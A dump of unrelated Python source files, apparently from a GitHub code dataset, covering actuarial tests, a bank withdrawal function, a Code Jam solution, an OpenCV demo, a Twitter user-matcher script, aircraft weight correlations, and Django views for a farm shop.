200","repo_name":"foschieraanderson/central-de-erros","sub_path":"tests/admin/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44007414360","text":"from cazact.lossfunc import (\n agg_loss,\n frequency,\n pure_premium\n)\n\n\ndef test_frequency():\n val = frequency(\n n_policies=200,\n n_claims=5\n )\n\n assert val == .025\n\n\ndef test_agg_loss():\n val = agg_loss([800, 500])\n\n assert val == 1300\n\n\ndef test_pure_premium():\n val = pure_premium(\n freq=.05,\n sev=20000\n )\n\n assert val == 1000\n","repo_name":"genedan/cazact","sub_path":"cazact/tests/test_lossfunc.py","file_name":"test_lossfunc.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11223432100","text":"from connection import connection \r\nfrom mainWindowShowFunc import MainWindowShowFunc\r\nfrom logs import Logs\r\nimport time\r\n\r\nclass WithdrawMoneyFunc():\r\n def __init__(self, user, money):\r\n self.user = user\r\n self.money = money\r\n\r\n def withdraw(self):\r\n result = MainWindowShowFunc(self.user).connection()\r\n person_id = result[0]\r\n self.connection = connection\r\n self.mydb = self.connection.cursor()\r\n query = \"SELECT amountTL FROM accounts WHERE person_id = %s\"\r\n value = (person_id,)\r\n self.mydb.execute(query,value)\r\n result2 = self.mydb.fetchone()\r\n #çekilmek istenen para hesaptaki bakiyeden düşükse hata\r\n\r\n if len(self.money) == 0:\r\n msg = \"Boş bırakmayın\"\r\n return msg\r\n else:\r\n if int(self.money) > int(result2[0]):\r\n msg = \"Yetersiz bakiye\"\r\n return msg\r\n\r\n else:\r\n # hatasız ise bakiyeden girilen para çıkartılıyor\r\n amount = int(result2[0]) - int(self.money)\r\n query2 = \"UPDATE accounts SET amountTL = %s WHERE person_id = %s\"\r\n values = (amount, person_id)\r\n self.mydb.execute(query2, values)\r\n self.connection.commit()\r\n Logs(time.localtime(), \"Para çekimi\", self.user).getLog()\r\n return 1","repo_name":"MertKuzu/bank-application","sub_path":"withdrawMoneyFunc.py","file_name":"withdrawMoneyFunc.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23401656651","text":"#############################################\r\n# Google Code Jam 2013\t\t\t\t\t\t#\r\n# Round 1A\t\t\t\t\t\t\t\t\t#\r\n# Code written by: Tamara Mendt (Venezuela) #\r\n#############################################\r\n\r\nimport sys\r\nimport string\r\nimport time\r\n\r\nt0 = time.clock()\r\n\r\ntry:\r\n\tfileInputPointer = open(sys.argv[1], 'r')\r\n\tfileOutputPointer = open(sys.argv[2], 'w')\r\nexcept IOError:\r\n\tprint(\"\\nInvalid file\\n\")\r\n\tquit()\r\n\r\nnumberOfCases = int(fileInputPointer.readline().replace('\\n',''))\r\ncaseNumber = 1\r\nfor case in range(0,numberOfCases):\r\n\trow = fileInputPointer.readline().replace('\\n','').split(' ')\r\n\tr = int(row[0])\r\n\tml = int(row[1])\r\n\ti = -1\r\n\twhile(ml>=0):\r\n\t\ti+=2\r\n\t\tresta = (2*i)+(2*r)-1\r\n\t\tml=ml-resta\r\n\tfileOutputPointer.write('Case #'+str(caseNumber)+\": \"+str(int((i-1)/2))+\"\\n\")\r\n\tcaseNumber+=1\r\n\r\nprint(\"Time: \"+str(time.clock()-t0))\r\n\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_120/814.py","file_name":"814.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4128578560","text":"import cv2 as cv\r\nimport numpy as np\r\n\r\n# 读取图片\r\nimg = cv.imread(\"maliao.jpg\", cv.IMREAD_UNCHANGED)\r\nrows, cols, chn = img.shape\r\n\r\n# 加噪声\r\nfor i in range(5000):\r\n x = np.random.randint(0, rows)\r\n y = np.random.randint(0, cols)\r\n img[x, y, :] = 255\r\n\r\ncv.imshow(\"noise\", img)\r\n\r\n# 图像保存\r\ncv.imwrite(\"maliao_noise.jpg\", img)\r\n\r\n# 等待显示\r\ncv.waitKey()\r\ncv.destroyAllWindows()","repo_name":"meteor1993/python-learning","sub_path":"python-opencv/blog7-blur/demo-noise.py","file_name":"demo-noise.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"61"} +{"seq_id":"883098935","text":"n=input()\nx=input()\nif x.isalpha() or n.isalpha():\n print(\"Invalid\")\nelse:\n x=list(x)\n n=int(n)\n count=int(0)\n c=int(0)\n\n for i in range(0,n):\n if x[i]!=0:\n count=0\n for z in range(i+1,n):\n if(x[i]==x[z]):\n x[z]=0\n count=count+1\n if count!=0:\n print(int(x[i].strip()),end=\" \")\n c=c+1\n if c==0:\n print(\"unique\")\n","repo_name":"srvdwivedi/Problem-solving-code-kata-2","sub_path":"hunter1.py","file_name":"hunter1.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30867003775","text":"import math\nfrom datetime import timedelta\n\ndef std_dev(samples):\n\tN = len(samples)\n\tsample_mean = sum(samples) / N\n\tres = math.sqrt(sum([(x - sample_mean)**2 for x in samples]) / N)\n\treturn res\n\ndef time_to_str(seconds):\n\tstr_time = str(timedelta(seconds=seconds))\n\tres = \"\"\n\thms = str_time.split()[-1].split(\":\")\n\tres = f\"{hms[0]}H : {hms[1]}M : {hms[2]}S\"\n\tif \"day\" in str_time:\n\t\tdays = str_time.split()[0]\n\t\thms = str_time.split()[-1].split(\":\")\n\t\tres = f\"{days}D : \" + res\n\treturn res\n\ndef eucl_dist(x, y):\n\tsum_diff = 0\n\tfor idx in range(len(x)):\n\t\tsum_diff += (y[idx] - x[idx])**2\n\treturn math.sqrt(sum_diff)\n\ndef solution_error(input_opt, input_opt_found):\n\tif input_opt == None:\n\t\treturn \"\"\n\telse:\n\t\tif type(input_opt[0]) != list:\n\t\t\tres = eucl_dist(input_opt_found, input_opt)\n\t\t\treturn res\n\t\telse:\n\t\t\tresults = []\n\t\t\tfor inp in input_opt:\n\t\t\t\tresults.append(eucl_dist(input_opt_found, inp))\n\t\t\tres = min(results)\n\t\t\treturn res\n\ndef objective_function_error(opt, opt_found):\n\tif opt == 0:\n\t\treturn abs(opt_found)\n\telse:\n\t\treturn abs((opt_found - opt) / opt)","repo_name":"loreleva/DIRECT_hypothesis_testing","sub_path":"code/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34229802422","text":"import os\n\nimport joblib\nimport luigi\nimport pandas as pd\n\nfrom .base_task import LuigiBaseTask\nfrom ..utils.get_resources import get_config, get_path_to_input_data\n\nfrom .preprocessing import PreprocessingTask\nfrom ..tokenizer_and_word_embeddings.make_fasttext_embeddings import make_fasttext_embeddings\n\n\nclass FasttextEmbeddingTask(LuigiBaseTask):\n config = get_config()\n\n def requires(self):\n return {\n \"PreprocessingTask\": PreprocessingTask(),\n }\n\n def run(self):\n X_train = pd.read_hdf(self.input()[\"PreprocessingTask\"].path, \"X_train\")\n\n fasttext_model = make_fasttext_embeddings(\n df=X_train,\n size_embedding_vector=self.config[\"fasttext_embedding\"][\"size_embedding_vector\"],\n training_epochs=self.config[\"fasttext_embedding\"][\"training_epochs\"],\n skip_gram=self.config[\"fasttext_embedding\"][\"skip_gram\"],\n window=self.config[\"fasttext_embedding\"][\"window\"]\n )\n\n joblib.dump(fasttext_model, self.output().path)\n\n def output(self) -> luigi.LocalTarget:\n output_path = os.path.join(get_path_to_input_data())\n\n os.makedirs(output_path, exist_ok=True)\n\n output_path = os.path.join(\n output_path,\n f\"fasttext_model_embedding_vec_len_{self.config['fasttext_embedding']['size_embedding_vector']}.joblib\")\n return luigi.LocalTarget(output_path)\n","repo_name":"trettenmeier/autoencoder_for_entity_resolution","sub_path":"autoencoder/tasks/fasttext_embedding.py","file_name":"fasttext_embedding.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38838027843","text":"## @ingroup Methods-Weights-Correlations-Raymer\n# systems.py\n#\n# Created: May 2020, W. Van Gijseghem\n# Modified:\n\n# ----------------------------------------------------------------------\n# Imports\n# ----------------------------------------------------------------------\nfrom SUAVE.Core import Units, Data\nimport numpy as np\n\n## @ingroup Methods-Weights-Correlations-Raymer\ndef systems_Raymer(vehicle):\n \"\"\" Calculates the system weight based on the Raymer method\n\n Assumptions:\n Number of flight control systems = 4\n Max APU weight = 70 lbs\n Assuming not a reciprocating engine and not a turboprop\n System Electrical Rating: 60 kv · A (typically 40-60 for transports, 110-160 for fighters & bombers)\n Uninstalled Avionics weight: 1400 lb (typically= 800-1400 lb)\n\n Source:\n Aircraft Design: A Conceptual Approach (2nd edition)\n\n Inputs:\n vehicle - data dictionary with vehicle properties [dimensionless]\n -.networks: data dictionary containing all propulsion properties\n -.number_of_engines: number of engines\n -.sealevel_static_thrust: thrust at sea level [N]\n -.fuselages['fuselage'].lengths.total: fuselage total length [meters]\n -.fuselages['fuselage'].width: fuselage width [meters]\n -.fuselages['fuselage'].heights.maximum: fuselage maximum height[meters]\n -.mass_properties.max_takeoff: MTOW [kilograms]\n -.design_mach_number: design mach number for cruise flight\n -.design_range: design range of aircraft [nmi]\n -.passengers: number of passengers in aircraft\n -.wings['main_wing']: data dictionary with main wing properties\n -.sweeps.quarter_chord: quarter chord sweep [deg]\n -.areas.reference: wing surface area [m^2]\n -.spans.projected: projected span of wing [m]\n -.flap_ratio: flap surface area over wing surface area\n -.payload: payload weight of aircraft [kg]\n\n Outputs:\n output - a data dictionary with fields:\n wt_flt_ctrl - weight of the flight control system [kilograms]\n wt_apu - weight of the apu [kilograms]\n wt_hyd_pnu - weight of the hydraulics and pneumatics [kilograms]\n wt_instruments - weight of the instruments and navigational equipment [kilograms]\n wt_avionics - weight of the avionics [kilograms]\n wt_elec - weight of the electrical items [kilograms]\n wt_ac - weight of the air conditioning and anti-ice system [kilograms]\n wt_furnish - weight of the furnishings in the fuselage [kilograms]\n wt_anti_ice - weight of anti-ice system [kilograms]\n\n Properties Used:\n N/A\n \"\"\"\n L = vehicle.fuselages['fuselage'].lengths.total / Units.ft\n Bw = vehicle.wings['main_wing'].spans.projected / Units.ft\n DG = vehicle.mass_properties.max_takeoff / Units.lbs\n Scs = vehicle.wings['main_wing'].flap_ratio * vehicle.reference_area / Units.ft**2\n design_mach = vehicle.design_mach_number\n num_pax = vehicle.passengers\n network_name = list(vehicle.networks.keys())[0]\n networks = vehicle.networks[network_name] \n fuse_w = vehicle.fuselages['fuselage'].width / Units.ft\n fuse_h = vehicle.fuselages['fuselage'].heights.maximum / Units.ft \n cargo_weight = vehicle.payload.cargo.mass_properties.mass / Units.lbs\n \n if vehicle.passengers >= 150:\n flight_crew = 3 # number of flight crew\n else:\n flight_crew = 2\n Ns = 4 # Number of flight control systems (typically 4)\n Kr = 1 # assuming not a reciprocating engine\n Ktp = 1 # assuming not a turboprop\n Nf = 7 # number of functions performed by controls (typically 4-7)\n Rkva = 60 # system electrical rating\n Wuav = 1400 # uninstalled avionics weight\n\n WSC = 36.28 * design_mach**0.003 * Scs**0.489 * Ns**0.484 * flight_crew**0.124\n\n if num_pax >= 6.:\n apu_wt = 7.0 * num_pax\n else:\n apu_wt = 0.0 # no apu if less than 9 seats\n WAPU = max(apu_wt, 70./Units.lbs)\n NENG = networks.number_of_engines\n WIN = 4.509 * Kr * Ktp * flight_crew ** 0.541 * NENG * (L + Bw) ** 0.5\n WHYD = 0.2673 * Nf * (L + Bw) ** 0.937\n WELEC = 7.291 * Rkva ** 0.782 * (2*L) ** 0.346 * NENG ** 0.1\n WAVONC = 1.73 * Wuav ** 0.983\n\n D = (fuse_w + fuse_h) / 2.\n Sf = np.pi * (L / D - 1.7) * D ** 2 # Fuselage wetted area, ft**2\n WFURN = 0.0577 * flight_crew ** 0.1 * (cargo_weight) ** 0.393 * Sf ** 0.75 + 46 * num_pax\n WFURN += 75 * flight_crew\n WFURN += 2.5 * num_pax**1.33\n\n Vpr = D ** 2 * np.pi / 4 * L\n WAC = 62.36 * num_pax ** 0.25 * (Vpr / 1000) ** 0.604 * Wuav ** 0.1\n\n WAI = 0.002 * DG\n\n output = Data()\n output.wt_flight_control = WSC * Units.lbs\n output.wt_apu = WAPU * Units.lbs\n output.wt_hyd_pnu = WHYD * Units.lbs\n output.wt_instruments = WIN * Units.lbs\n output.wt_avionics = WAVONC * Units.lbs\n output.wt_elec = WELEC * Units.lbs\n output.wt_ac = WAC * Units.lbs\n output.wt_furnish = WFURN * Units.lbs\n output.wt_anti_ice = WAI * Units.lbs\n output.wt_systems = WSC + WAPU + WIN + WHYD + WELEC + WAVONC + WFURN + WAC + WAI\n return output\n","repo_name":"suavecode/SUAVE","sub_path":"trunk/SUAVE/Methods/Weights/Correlations/Raymer/systems.py","file_name":"systems.py","file_ext":"py","file_size_in_byte":6132,"program_lang":"python","lang":"en","doc_type":"code","stars":349,"dataset":"github-code","pt":"61"} +{"seq_id":"3831029651","text":"import numpy\nfrom reikna.cluda import ocl_api, dtypes, Module, functions\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nfrom reikna.helpers import product\nfrom integrator import Integrator\n\n\ndef get_nonlinear(dtype, interaction, tunneling):\n r\"\"\"\n Nonlinear module\n\n .. math::\n\n N(\\psi_1, ... \\psi_C)\n = \\sum_{n=1}^{C} U_{jn} |\\psi_n|^2 \\psi_j\n - \\nu_j psi_{m_j}\n\n ``interaction``: a symmetrical ``components x components`` array with interaction strengths.\n ``tunneling``: a list of (other_comp, coeff) pairs of tunnelling strengths.\n \"\"\"\n\n c_dtype = dtype\n c_ctype = dtypes.ctype(c_dtype)\n s_dtype = dtypes.real_for(dtype)\n s_ctype = dtypes.ctype(s_dtype)\n\n return Module.create(\n \"\"\"\n %for comp in range(components):\n INLINE WITHIN_KERNEL ${c_ctype} ${prefix}${comp}(\n %for pcomp in range(components):\n ${c_ctype} psi${pcomp},\n %endfor\n ${s_ctype} V, ${s_ctype} t)\n {\n return (\n ${mul}(psi${comp}, (\n %for other_comp in range(components):\n + ${dtypes.c_constant(interaction[comp, other_comp], s_dtype)} *\n ${norm}(psi${other_comp})\n %endfor\n + V\n ))\n - ${mul}(\n psi${tunneling[comp][0]},\n ${dtypes.c_constant(tunneling[comp][1], s_dtype)})\n );\n }\n %endfor\n \"\"\",\n render_kwds=dict(\n components=interaction.shape[0],\n mul=functions.mul(c_dtype, s_dtype),\n norm=functions.norm(c_dtype),\n interaction=interaction,\n tunneling=tunneling,\n s_dtype=s_dtype,\n c_ctype=c_ctype,\n s_ctype=s_ctype))\n\n\n\nclass CollectorWigner1D:\n\n def __init__(self, dV):\n self.dV = dV\n\n def __call__(self, psi):\n psi = psi.get()\n\n ns = numpy.abs(psi) ** 2 - 0.5 / self.dV\n n = ns.mean(1)\n Ns = (ns * self.dV).sum(-1)\n\n res = dict(\n N=Ns[0].mean(),\n N_std=Ns[0].std(),\n density=n[0])\n\n return res\n\n\ndef test_soliton():\n\n seed = 31415926 # random seed\n modes = 128 # spatial lattice points\n L_trap = 14. # spatial domain\n ensembles = 64 # simulation paths\n gamma = 0.1\n t = 2.5 # time interval\n samples = 100 # how many samples to take during simulation\n steps = samples * 400 # number of time steps (should be multiple of samples)\n v = 40.0 # strength of the potential\n soliton_height = 10.0\n soliton_shift = 1.0\n dtype = numpy.complex128\n\n problem_shape = (modes,)\n shape = (1, ensembles) + problem_shape\n box = (L_trap,)\n dV = L_trap / modes\n xgrid = numpy.linspace(-L_trap/2 + dV/2, L_trap/2 - dV/2, modes)\n\n api = ocl_api()\n #device = api.get_platforms()[0].get_devices()[1]\n #thr = api.Thread(device)\n thr = api.Thread.create()\n\n interaction = numpy.array([[gamma]])\n tunneling = [(0, 0)]\n nonlinear_module = get_nonlinear(dtype, interaction, tunneling)\n potential = v * xgrid ** 2\n\n psi = numpy.empty(shape, dtype)\n\n integrator = Integrator(thr, psi, box, t, steps, samples,\n kinetic_coeff=0.5,\n nonlinear_module=nonlinear_module,\n potentials=potential)\n\n\n # Classical ground state\n psi = soliton_height / numpy.cosh(xgrid - soliton_shift)\n psi = psi.reshape(1, 1, *psi.shape).astype(dtype)\n psi = numpy.tile(psi, (1, ensembles, 1))\n\n # To Wigner\n rs = numpy.random.RandomState(seed=456)\n normals = rs.normal(size=(2,) + shape, scale=numpy.sqrt(0.5))\n noise_kspace = numpy.sqrt(0.5) * (normals[0] + 1j * normals[1])\n\n fft_scale = numpy.sqrt(dV / product(problem_shape))\n psi += numpy.fft.ifftn(noise_kspace, axes=range(2, len(shape))) / fft_scale\n\n psi_dev = thr.to_device(psi)\n collector = CollectorWigner1D(dV)\n results = integrator(psi_dev, [collector])\n\n print(\"Errors:\", results.errors)\n # TODO: what causes the errors this big? there seems to be plenty of time steps\n assert results.errors['density'] < 1e-4\n assert results.errors['psi_strong_mean'] < 0.01\n assert results.errors['psi_strong_max'] < 0.01\n\n # Check that the population stayed constant\n N_total = results.values['N']\n # Not using N, since the initial value can differ slightly (due to initial sampling)\n N_diff = (N_total - N_total[0]) / N_total[0]\n assert numpy.abs(N_diff).max() < 1e-5\n\n plot_soliton(results.values['density'], L_trap, soliton_height ** 2, t)\n\n\ndef plot_soliton(n, L, n_max, t):\n\n fig = plt.figure()\n s = fig.add_subplot(111, xlabel='$t$', ylabel='$x$')\n\n im = s.imshow(n.T,\n extent=(0, t, -L/2, L/2),\n vmin=0, vmax=n_max,\n interpolation='none',\n aspect='auto')\n\n fig.colorbar(im,orientation='vertical', shrink=0.6).set_label('$n$')\n fig.tight_layout()\n fig.savefig('test_soliton.pdf')\n\n\nif __name__ == '__main__':\n test_soliton()\n","repo_name":"fjarri-attic/vienna_simulation","sub_path":"test_soliton.py","file_name":"test_soliton.py","file_ext":"py","file_size_in_byte":5093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18149983107","text":"import sys\nsys.stdin = open('input.txt', \"r\")\n\n# 지역의 개수 n (1 ≤ n ≤ 100)\n# 예은이의 수색범위 m (1 ≤ m ≤ 15)\n# 길의 개수 r (1 ≤ r ≤ 100)\nn, m, r = map(int, sys.stdin.readline().rstrip().split())\ncost = list(map(int, sys.stdin.readline().rstrip().split()))\n\n'''\n플루이드 워샬 써서 모든 거리의 최소값을 구한다.\n지역의 개수 100^3 = 1000000 백만이므로 충분히 가능\n\n그뒤 각 지역을 순회하면서 수색거리가 m보다 작은것들만 더해서 최대값을 구하면 됨.\n'''\n\ndef boardPrint(board):\n for i in board:\n print(i)\n print()\n\ndef floydWarshall(n,distance):\n for k in range (n):\n for i in range (n):\n for j in range (n):\n distance[i][j] = min(distance[i][j],distance[i][k] + distance[k][j])\n\ndef calMaximum(n,m):\n answer = 0\n for loc in range (n):\n hap = 0\n for nextLoc in range (n):\n \n if distance[loc][nextLoc] <= m:\n hap += cost[nextLoc]\n \n answer = max(answer,hap)\n return answer\n\n\ndistance = [[sys.maxsize]*n for _ in range (n)]\nfor i in range (n):\n distance[i][i] = 0\n \nfor _ in range (r):\n a,b,c = map(int, sys.stdin.readline().rstrip().split())\n a -= 1\n b -= 1\n distance[a][b] = c\n distance[b][a] = c\n\n\nfloydWarshall(n,distance)\nprint(calMaximum(n,m))\n\n# boardPrint(distance)\n# print(cost)","repo_name":"aver1001/Problem-Solving","sub_path":"풀이 완료/14938/acmicpc.py","file_name":"acmicpc.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27615321074","text":"import logging\nimport os\nimport time\n\nimport pandas as pd\nimport uvicorn\n\nfrom api.api import app # import fastAPI app\nfrom app.app import App\nfrom config import (DATA_PATH, CONSUMER_KEY, ACCESS_SECRET, CONSUMER_SECRET, ACCESS_KEY,\n EMBED_DATA_PATH, MODEL_PATH, TWITTER_USER_LIST_PATH, TWITTER_USER_LIST_FILE)\nfrom core.dataprep import TwitterDataPrep\nfrom core.matcher import TwitterUserMatcher\nfrom core.scraper import TwitterScraper\nfrom core.utils import username_dict\n\n\ndef set_config() -> None:\n logging.basicConfig(encoding='utf-8',\n level=logging.INFO,\n format=\"%(asctime)s [%(levelname)s] %(message)s\",\n handlers=[\n logging.FileHandler(\"debug.log\"),\n logging.StreamHandler()\n ])\n\n\ndef fetch_users() -> list:\n # Get the Twitter account names\n handler_df = pd.read_csv(os.path.join(os.getcwd(), TWITTER_USER_LIST_PATH, TWITTER_USER_LIST_FILE), header=0)\n screen_names = handler_df.twitter_username.unique().tolist()\n return screen_names\n\n\n# scraper\ndef twitter_scraper_users(twitter_scraper: TwitterScraper, screen_names: list) -> None:\n # create a directory for the scraped data if not exists\n if not os.path.exists(os.path.join(os.getcwd(), DATA_PATH)):\n os.mkdir(os.path.join(os.getcwd(), DATA_PATH))\n\n # scrape the data from the Twitter username list\n for c, screen_name in enumerate(screen_names, 1):\n twitter_scraper.save_tweets(screen_name)\n logging.info(f\"#{c} {screen_name} tweets scraped\")\n time.sleep(3)\n\n\ndef scrape_celebrity_tweets(twitter_scraper: TwitterScraper) -> None:\n # check the Twitter user\n twitter_scraper.check_user(screen_name='BarackObama') # check an invalid user by Twitter handle\n\n # fetch Twitter usernames\n screen_names = fetch_users()\n\n # scrape all users' tweets and save them in the data folder as CSV files\n twitter_scraper_users(twitter_scraper, screen_names)\n\n\ndef scraper_in_action(twitter_scraper: TwitterScraper) -> None:\n # verify Twitter API credentials\n twitter_scraper.verify_tweepy_api()\n\n # check a Twitter username\n twitter_scraper.check_user(screen_name='BarackObama')\n\n # fetch Twitter display name by Twitter handle\n twitter_scraper.fetch_profile_name(screen_name='kingjames') # with or without `@` prefix\n\n # scrape tweets and export to csv by Twitter handle\n twitter_scraper.scrape_tweets(screen_name='elonmusk')\n\n\n# data preparation\ndef data_preparation(twitter_data_prep: TwitterDataPrep) -> None:\n # preprocess the tweets, generate embeddings and save them in a single CSV file\n twitter_data_prep.load_data()\n\n\n# twitter_user_matcher\ndef matcher_in_action(twitter_user_matcher: TwitterUserMatcher, usernames_dict) -> None:\n \"\"\"match users from celebrity dataset\"\"\"\n # match two random users\n # random_state=43 returns `Schwarzenegger` xD\n usernames, similarity_score = twitter_user_matcher.match_twitter_user(random_state=43)\n\n # match one user by username with another random user\n # random_state=44 returns `EvaLongoria`\n usernames, similarity_score = twitter_user_matcher.match_twitter_user('Schwarzenegger', random_state=44)\n\n # match two users by their twitter handlers\n usernames, similarity_score = twitter_user_matcher.match_twitter_user('Schwarzenegger', 'RobertDowneyJr',\n random_state=43)\n\n \"\"\"match unknown users\"\"\"\n # match with an unknown user with another random user from the celebrity dataset\n usernames, similarity_score = twitter_user_matcher.match_twitter_user('ahmed__shahriar', random_state=43)\n\n # match with two unknown users\n usernames, similarity_score = twitter_user_matcher.match_twitter_user('ahmed__shahriar', 'Comicstorian',\n random_state=43)\n\n # print the results\n print(f\"Similarity between {usernames[0]} and {usernames[1]} is: {similarity_score * 100:.4f}%\")\n\n \"\"\"match top users for a single user\"\"\"\n # match with a single user from celebrity dataset\n username = 'RobertDowneyJr'\n\n # match with a single user excluding celebrity dataset\n username = 'ahmed__shahriar'\n\n top_n = 10\n top_results = twitter_user_matcher.match_top_celeb_users(username) # returns a zip object\n\n for k, v in sorted(top_results, key=lambda item: item[1], reverse=True)[1:top_n + 1]:\n print(f\"Twitter username: {k} ({usernames_dict.get(k)}): {v}\")\n\n\ndef main() -> None:\n # create a TwitterScraper object for tweepy\n twitter_scraper = TwitterScraper(consumer_key=CONSUMER_KEY,\n consumer_secret=CONSUMER_SECRET,\n access_key=ACCESS_KEY,\n access_secret=ACCESS_SECRET,\n file_path=DATA_PATH)\n\n \"\"\"scraper functionalities\"\"\"\n # scrape all the celebrity tweets\n scrape_celebrity_tweets(twitter_scraper=twitter_scraper)\n\n # twitter scraper functionalities\n scraper_in_action(twitter_scraper)\n\n \"\"\"data preparation\"\"\"\n # create a data preparation object\n twitter_data_prep = TwitterDataPrep(model_path=MODEL_PATH, data_path=DATA_PATH, embed_data_path=EMBED_DATA_PATH)\n\n # save a single file containing all the generated vector embeddings per user\n data_preparation(twitter_data_prep=twitter_data_prep)\n\n \"\"\"twitter user matcher\"\"\"\n # create Twitter profile matcher object\n matcher = TwitterUserMatcher(EMBED_DATA_PATH)\n\n # get the Twitter account names dictionary\n usernames_dict = username_dict()\n\n # twitter matcher functionalities\n matcher_in_action(matcher, usernames_dict)\n\n\nif __name__ == '__main__':\n # set the configuration\n set_config()\n # run the main function\n # main()\n App().render() # run the streamlit app\n # run fast API\n # uvicorn.run(\"__main__:app\", host='127.0.0.1', log_level=\"info\", reload=True, debug=True, port=8000)\n","repo_name":"ahmedshahriar/TwitterCelebrityMatcher","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6124,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"} +{"seq_id":"24530286442","text":"from django.shortcuts import render\nfrom .models import Payment_food #punto significa directorio actual\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.shortcuts import get_object_or_404, redirect\nfrom django.template.context_processors import request\nfrom django.urls import reverse\nfrom django.contrib import messages\nfrom django.http import HttpResponseRedirect\n\n# Create your views here. \ndef payment_food_list(request):\n list = Payment_food.objects.all()\n status = ''\n if request.method == 'POST':\n try:\n status = 'SEARCH'\n rut_busca = request.POST.get('buscar_rut')\n if Payment_food.objects.all().filter(rut = rut_busca).exists() == True:\n list = Payment_food.objects.filter(rut = rut_busca)\n else:\n if Payment_food.objects.all().filter(pk = rut_busca).exists() == True:\n list = Payment_food.objects.filter(pk = rut_busca)\n else:\n list = Payment_food.objects.all()\n except:\n status = 'NOTSEARCH'\n variables = {'status': status,\n 'list': list}\n return render(request,'farm_app/payment_food_list.html', variables)\n\ndef payment_food(request):\n status = 'NO_CONTENT'\n if request.method == 'POST':\n try:\n food = Payment_food()\n food.rut = request.POST.get('rut')\n food.num_cuenta = request.POST.get('num_cuenta')\n food.correo = request.POST.get('correo')\n food.product = request.POST.get('selector')\n food.pay = request.POST.get('selector2')\n food.save()\n status = 'OK'\n except :\n status = 'ERROR'\n return render(request, 'farm_app/comida.html', {'status': status})\n\n\ndef payment_animal(request):\n return render(request,'farm_app/animal.html',{})\n\ndef index(request):\n return render(request,'farm_app/index.html',{})\n\ndef payment_food_delete(request,id):\n # return render(request,'farm_app/payment_food_delete.html',{})\n status = 'NO_CONTENT'\n list = Payment_food.objects.all()\n Payment_food.objects.get(pk = id).delete()\n status = 'DELETED'\n variables = {'status': status,\n 'list': list}\n return render(request, 'farm_app/payment_food_list.html', variables)\n\ndef payment_food_update(request,id):\n status = ''\n producto = ['Dapac Cerdas','Aviplus','Camperbroiler Granulado','Conchilla','Dapac Vacas','Nantacor','Guidolin Nutri Potros','Red Kite']\n formaPago = ['Tarjeta','Paypal']\n pedido = Payment_food.objects.get(pk = id)\n if request.method == 'POST':\n try:\n pedido = Payment_food.objects.get(pk = id)\n pedido.rut = request.POST.get('txtRut') if request.POST.get('txtRut') != None else pedido.rut\n pedido.num_cuenta = request.POST.get('txtNumTarjeta') if request.POST.get('txtNumTarjeta') != None else pedido.num_cuenta\n pedido.correo = request.POST.get('txtCorreo') if request.POST.get('txtCorreo') != None else pedido.correo\n pedido.product = request.POST.get('txtProducto') if request.POST.get('txtProducto') != None else pedido.product\n pedido.pay = request.POST.get('txtFormaPago') if request.POST.get('txtFormaPago') != None else pedido.pay\n pedido.save()\n status = 'OK'\n except: \n status = 'ERROR'\n variables = {'status': status,\n 'producto': producto,\n 'formaPago': formaPago,\n 'pedido': pedido}\n return render(request,'farm_app/payment_food_update.html', variables)\n\ndef register_user(request):\n status = ''\n if request.method == 'POST':\n user = User()\n try:\n user = User.objects.create_user(username = request.POST.get('txtRut'),\n password = request.POST.get('txtPass'),\n email = request.POST.get('txtCorreo'),\n last_name = request.POST.get('txtApellido'),\n first_name = request.POST.get('txtNombre'))\n except:\n status = 'ERROR'\n return render(request,'farm_app/register_user.html', {'status' : status})\n user.save()\n status= 'OK'\n return render(request,'farm_app/register_user.html', {'status' : status})\n\ndef login_view(request):\n status = ''\n if request.method == 'POST':\n username = request.POST.get('txtRutLogin')\n password = request.POST.get('txtPassLogin')\n user = authenticate(request, username = username, password = password )\n if user:\n login(request, user)\n status = 'OK'\n return HttpResponseRedirect(reverse('index'))\n else:\n status = 'ERROR'\n messages.error(request,'Error al iniciar sesion :c ')\n variables = {'status':status}\n return render(request,'farm_app/login_view.html', variables)\n\n@login_required(login_url = 'login')\ndef logout_view(request):\n logout(request)\n return redirect('login')\n\ndef my_list(request):\n list = Payment_food.objects.all()\n status = 'NO_CONTENT'\n try:\n status = 'FOUND'\n rut_busca = request.user.username\n if Payment_food.objects.all().filter(rut = rut_busca).exists() == True:\n list = Payment_food.objects.all().filter(rut = rut_busca)\n else:\n status = 'NOT_FOUND'\n except:\n status = 'NOT_FOUND'\n variables = {'status': status,\n 'list': list}\n return render(request,'farm_app/my_list.html', 